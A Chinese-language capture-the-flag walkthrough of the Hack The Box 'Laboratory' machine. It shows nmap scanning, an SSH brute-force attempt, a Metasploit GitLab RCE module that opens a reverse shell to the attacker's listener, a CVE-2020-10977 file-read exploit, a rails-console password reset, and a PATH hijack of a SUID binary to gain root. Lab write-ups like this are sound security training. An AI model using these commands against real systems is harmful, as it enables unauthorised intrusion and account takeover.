[HTB]Laboratory

靶机:Laboratory 难度:Easy

信息收集

1
nmap --min-rate 10000 -A -p- -T4 10.10.10.216

扫描结果

PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 25:ba:64:8f:79:9d:5d:95:97:2c:1b:b2:5e:9b:55:0d (RSA)
|   256 28:00:89:05:55:f9:a2:ea:3c:7d:70:ea:4d:ea:60:0f (ECDSA)
|_  256 77:20:ff:e9:46:c0:68:92:1a:0b:21:29:d1:53:aa:87 (ED25519)
80/tcp  open  http     Apache httpd 2.4.41
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Did not follow redirect to https://laboratory.htb/
443/tcp open  ssl/http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: The Laboratory
| ssl-cert: Subject: commonName=laboratory.htb
| Subject Alternative Name: DNS:git.laboratory.htb
| Not valid before: 2020-07-05T10:39:28
|_Not valid after:  2024-03-03T10:39:28
| tls-alpn: 
|_  http/1.1
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 4.15 - 5.6 (91%), Linux 5.0 (91%), Linux 5.0 - 5.4 (91%), Linux 5.3 - 5.4 (91%), Linux 2.6.32 (90%), Crestron XPanel control system (89%), Linux 5.0 - 5.3 (88%), Linux 5.4 (88%), HP P2000 G3 NAS device (86%), ASUS RT-N56U WAP (Linux 3.4) (86%)

ssh爆破

1
hydra -l root -P /usr/share/wordlists/fasttrack.txt 10.10.10.216 ssh -v

返回[ERROR] target ssh://10.10.10.216:22/ does not support password authentication (method reply 4).

判断使用公私钥认证登录,这样就无法对22端口进行爆破。

渗透过程

在/etc/hosts添加DNS解析:

10.10.10.216 laboratory.htb
10.10.10.216 git.laboratory.htb

访问laboratory.htb发现当前页面并没有隐藏其他文件的信息,扫目录也没有结果,只有人名DexterDee Dee,由于Dexter的特殊身份CEO,他在站点中应该有着特殊的权限。

然后从git.laboratory.htb下手,注册邮箱不知道为什么必须使用@laboratory.htb域名的,先注册再说。

访问help页面获得版本号为12.8.1,使用kali自带的搜索工具searchsploit找漏洞:

1
searchsploit gitlab

找到12.9.0的任意文件读取漏洞,但是自带的脚本无法使用,不过知道漏洞已经方便了很多。

继续收集信息,在explore路由发现了laboratory.htb站点的源码,但是没啥用emmm

getshell-1

msf自带攻击脚本(用户名密码均为注册时填写):

1
2
3
4
5
6
7
8
9
use exploit/multi/http/gitlab_file_read_rce
set VHOST git.laboratory.htb
set PASSWORD admin123
set USERNAME admin123
set RHOSTS 10.10.10.216
set RPORT 443
set SSL true
set LHOST 10.10.14.29 # 此IP为HTB-access页面提供的IP
run

成功getshell。但是只是git权限,几乎等于没有。。。

使用python3 -c 'import pty; pty.spawn("/bin/bash")'生成交互式终端,不过只有输入命令之后才会回显终端并执行命令,这种情况我也没遇到过。。

getshell-2

随便一搜就能找到任意文件读取exp

1
python3 cve_2020_10977.py https://git.laboratory.htb/ admin123 admin123

但是不存在authorized_keys文件,暂时还是没办法登录ssh。

剩下的getshell流程参考https://0xaniket.medium.com/laboratory-hackthebox-walkthrough-2d5cfa8c3244,懒得写了。。。

ssh登录

参考GitLab重置管理员密码ERROR: "rails console" was called with arguments ["production"]

修改dexter密码

1
2
3
4
gitlab-rails console -e production # 进入控制台
user = User.where(id:1).first # 获得用户名 dexter
user.password = "admin123"
user.save!

成功登录。在仓库里面获得id_rsa,ssh登录:

1
2
3
chmod 600 id_rsa # 修改私钥权限
ssh -i id_rsa dexter@laboratory.htb
cat user.txt # 获得user flag

提权

做到一半被搅屎了,LinEnum.sh文件不知道被谁删了。。(虽然我看过,也没找到啥有用的东西)

直接wp走起,在LinEnum.sh文件发现docker-security(路径:/usr/local/bin/docker-security)这个二进制文件有suid属性:

  1. SUID 权限仅对二进制可执行文件有效
  2. 如果执行者对于该二进制可执行文件具有 x 的权限,执行者将具有该文件的所有者的权限
  3. 本权限仅在执行该二进制可执行文件的过程中有效

ls -l发现该文件所有者是root,但是dexter拥有执行权限,再加上suid属性,dexter执行该文件时拥有root权限。

读取该文件获得部分重要命令:

chmod 700 /usr/bin/docker
chmod 660 /var/run/docker.sock

发现执行了chmod命令,但是并没有限制chmod是/usr/bin/chmod,因此我们可以劫持chmod伪造环境变量。

1
2
3
4
echo "/bin/bash" > /tmp/chmod
chmod +x chmod
export PATH=/tmp:$PATH # 修改环境变量路径信息
/usr/local/bin/docker-security # 执行二进制文件

成功提升为root权限。

最后cat /root/root.txt获得root flag。